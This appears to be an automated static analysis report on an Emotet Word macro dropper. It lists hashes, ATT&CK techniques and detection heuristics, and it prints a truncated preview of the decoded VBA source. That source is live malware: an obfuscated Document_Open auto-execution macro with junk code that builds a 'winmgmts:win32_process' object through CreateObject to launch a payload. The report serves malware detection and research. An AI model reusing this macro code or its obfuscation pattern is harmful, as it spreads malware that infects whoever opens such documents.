Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8a45d8a55c131c2f…

MALICIOUS

Office (OLE)

182.1 KB Created: 2020-09-04 06:39:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 1233cfecb7185aa7c9e2ef5fac34b325 SHA-1: 484c9813cd94c23cfb9adece990e1de7b9a8da92 SHA-256: 8a45d8a55c131c2f4b1eaa589e8fa23363814399c07e65ee602957fa88d6a976
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open auto-execution macro, which is a common technique for Emotet. The heuristic firings indicate the use of CreateObject and p-code execution, suggesting the macro is designed to download and execute a secondary payload. The ClamAV detection explicitly names this as an Emotet variant.

Heuristics 6

  • ClamAV: Doc.Dropper.EmotetWinMob0920-9636503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetWinMob0920-9636503-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13229 bytes
SHA-256: 698a6ac9264a36bcdcba62019ee341c411b36b901a1fdaa14972ae5a090cca24
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sj90g706o6iih58jo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Zkv017yx7lxq3w = Array(Tv23c4nhu7ffp05 + "Mez0ypmdphv8hvdBvbnfp1xxdbcv Gyc2fmcy8ljxm6hq" + Z34d58roboc, Oojt1096qp2kp, Qvucjedyedd3da9.Kax0z69782u, Setd7pgccl4wp3vm + "Zaml9_ew7kw Oatzfgn70tyfsl0 Cugjdl4jdn4eps_e Ntkk9kvirfqmg5w")
End Sub


Attribute VB_Name = "Qvucjedyedd3da9"
Attribute VB_Base = "0{0E6BDD05-E74A-44BC-8D04-D063D4A2D4DC}{93EC9876-3985-4F63-9F37-7A3BDFFD734B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Kax0z69782u()
   On Error Resume Next
Select Case Qkcu2zlce_lup66o38
Case "U3r29d38ii_6xp"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Feowv6a3_cak"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
Select Case N3fq_fteeuf
Case "Z4c5efyeiy2agl"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Tarz94ynqcu6s8b"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
Xum467a0hryf = 105
   On Error Resume Next
Select Case Qkcu2zlce_lup66o38
Case "U3r29d38ii_6xp"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Feowv6a3_cak"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
Select Case N3fq_fteeuf
Case "Z4c5efyeiy2agl"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Tarz94ynqcu6s8b"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
Eal5f9qanxzzhe5c90 = Chr$(Xum467a0hryf + (10))
   On Error Resume Next
Select Case Qkcu2zlce_lup66o38
Case "U3r29d38ii_6xp"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Feowv6a3_cak"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
Select Case N3fq_fteeuf
Case "Z4c5efyeiy2agl"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Tarz94ynqcu6s8b"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
X7utjavqln8c2 = "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjib3bb 17t2 fvhvhjnmb3bb 17t2 fvhvhjb3bb 17t2 fvhvhjgmb3bb 17t2 fvhvhjtb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj" + Eal5f9qanxzzhe5c90 + "b3bb 17t2 fvhvhjb3bb 17t2 fvhvhj:b3bb 17t2 fvhvhjwb3bb 17t2 fvhvhjinb3bb 17t2 fvhvhjb3bb 17t2 fvhvhj3b3bb 17t2 fvhvhj2b3bb 17t2 fvhvhj_b3bb 17t2 fvhvhj" + Qvucjedyedd3da9.Rkgqasn6ugbvwb7q + "b3bb 17t2 fvhvhjrob3bb 17t2 fvhvhjb3bb 17t2 fvhvhjceb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhjsb3bb 17t2 fvhvhj"
   On Error Resume Next
Select Case Qkcu2zlce_lup66o38
Case "U3r29d38ii_6xp"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Feowv6a3_cak"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
Select Case N3fq_fteeuf
Case "Z4c5efyeiy2agl"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Tarz94ynqcu6s8b"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
Fojuq48adwl9aj7 = M7gst_yj5gnj(X7utjavqln8c2)
   On Error Resume Next
Select Case Qkcu2zlce_lup66o38
Case "U3r29d38ii_6xp"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Feowv6a3_cak"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
Select Case N3fq_fteeuf
Case "Z4c5efyeiy2agl"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc9978mg = uQjy
Case "Tarz94ynqcu6s8b"
Ojfwc9978mg = Log(1123)
Ojfwc9978mg = 241244404
Ojfwc9978mg = ISPs
End Select
Set A7x_hcm5iq0e_juzs = CreateObject(Fojuq48adwl9aj7)
   On Error Resume Next
Select Case Qkcu2zlce_lup66o38
Case "U3r29d38ii_6xp"
Ojfwc9978mg = Atn(AjId)
Ojfwc9978mg = (rzsbI)
Ojfwc
... (truncated)

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